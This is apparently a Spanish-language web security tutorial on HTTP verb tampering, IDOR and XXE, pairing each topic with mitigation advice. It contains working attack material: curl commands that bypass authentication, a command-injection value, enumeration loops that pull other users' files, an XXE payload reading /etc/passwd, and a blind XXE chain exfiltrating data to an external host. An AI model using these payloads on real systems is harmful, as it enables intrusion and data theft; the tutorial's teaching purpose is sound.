Secciones
1. Introducción
En el mundo de las aplicaciones web, la seguridad es una carrera entre desarrolladores y atacantes. Hoy exploraremos tres vulnerabilidades críticas: Manipulación de Verbos HTTP, IDOR y XXE, con ejemplos prácticos para entender cómo funcionan y cómo protegerte.
2. Manipulación de Verbos HTTP: Más Allá de GET y POST
2.1. ¿Por qué importan los verbos HTTP?
HTTP no solo usa GET y POST. Verbos como HEAD
, PUT
, DELETE
o OPTIONS
pueden ser puertas traseras si el servidor está mal configurado.
Ejemplo 1: Eludir Autenticación Básica
Imagina una página /admin/reset.php
protegida con autenticación básica. Si el servidor solo restringe GET/POST, un ataque con HEAD
podría omitirla:
curl -i -X OPTIONS http://servidor:puerto/
# Respuesta: Allow: POST, OPTIONS, HEAD, GET
curl -X HEAD http://servidor:puerto/admin/reset.php
Si el servidor acepta HEAD
, la solicitud vacía ejecutará la acción sin pedir credenciales.
Ejemplo 2: Bypass de Filtros de Seguridad
Supongamos un filtro anti-inyección aplicado solo a parámetros GET:
if(preg_match($pattern, $_GET["code"])) {
$query = "SELECT * FROM ports WHERE port_code LIKE '%". $_REQUEST["code"]."%'";
}
Si usamos POST para enviar code=test; touch file2
, el filtro no se activa, permitiendo inyección de comandos.
Consejo de DavidalVK:
- Restringe los verbos HTTP permitidos en el servidor.
- Usa
$_POST
o$_GET
explícitamente, nunca$_REQUEST
.
3. IDOR: Cuando los IDs Son Demasiado Obvios
3.1. ¿Qué es IDOR?
Insecure Direct Object Reference ocurre cuando una app expone referencias directas a recursos (ej: ?file_id=123
), sin validar permisos.
Ejemplo 1: Enumeración Masiva de Archivos
En una app de gestión de empleados, si documents.php?uid=1
muestra documentos del usuario 1, probar uid=2,3,4...
podría filtrar datos:
for i in {1..10}; do
curl "http://servidor:puerto/documents.php?uid=$i" | grep -oP "/documents/.*?\.pdf";
done
Resultado: Descargas archivos de otros usuarios si no hay control de acceso.
Ejemplo 2: Hashes Predecibles
Si un contrato se descarga con contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
, y descubres que es MD5(base64(uid)):
echo -n "1" | base64 | md5sum # Genera el hash para uid=1
Script de explotación:
for i in {1..10}; do
hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -');
curl -X POST -d "contract=$hash" http://servidor:puerto/download.php;
done
Consejo de DavidalVK:
- Usa UUIDs aleatorios en lugar de IDs secuenciales.
- Valida permisos en cada solicitud, aunque el usuario esté autenticado.
4. XXE: El Arte de Leer Archivos con XML
4.1. XML External Entity: La Puerta Trasera Olvidada
Si una app procesa XML sin sanitizar entidades externas, puedes leer archivos del servidor.
Ejemplo 1: Divulgación de /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY archivo SYSTEM "file:///etc/passwd">
]>
<email>&archivo;</email>
Respuesta: El contenido de /etc/passwd
se muestra en la página.
Ejemplo 2: Exfiltración Ciega con CDATA
Si el servidor no muestra salidas, usa un DTD externo:
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % archivo SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://tui-p:8000/exploit.dtd">
%xxe;
]>
exploit.dtd:
<!ENTITY % payload "<!ENTITY % enviar SYSTEM 'http://tui-p:8000/?data=%archivo;'>">
%payload;
Resultado: El servidor envía el archivo codificado en Base64 a tu IP.
Consejo de DavidalVK:
- Deshabilita entidades externas en bibliotecas XML (ej:
libxml_disable_entity_loader
en PHP). - Usa formatos como JSON en lugar de XML cuando sea posible.
5. Conclusión
La seguridad web es un juego de detalles. Pequeños errores, como un verbo HTTP permitido o un ID expuesto, pueden comprometer todo un sistema. Prueba siempre tus apps con herramientas como Burp Suite o scripts personalizados, y nunca subestimes el poder de una configuración segura.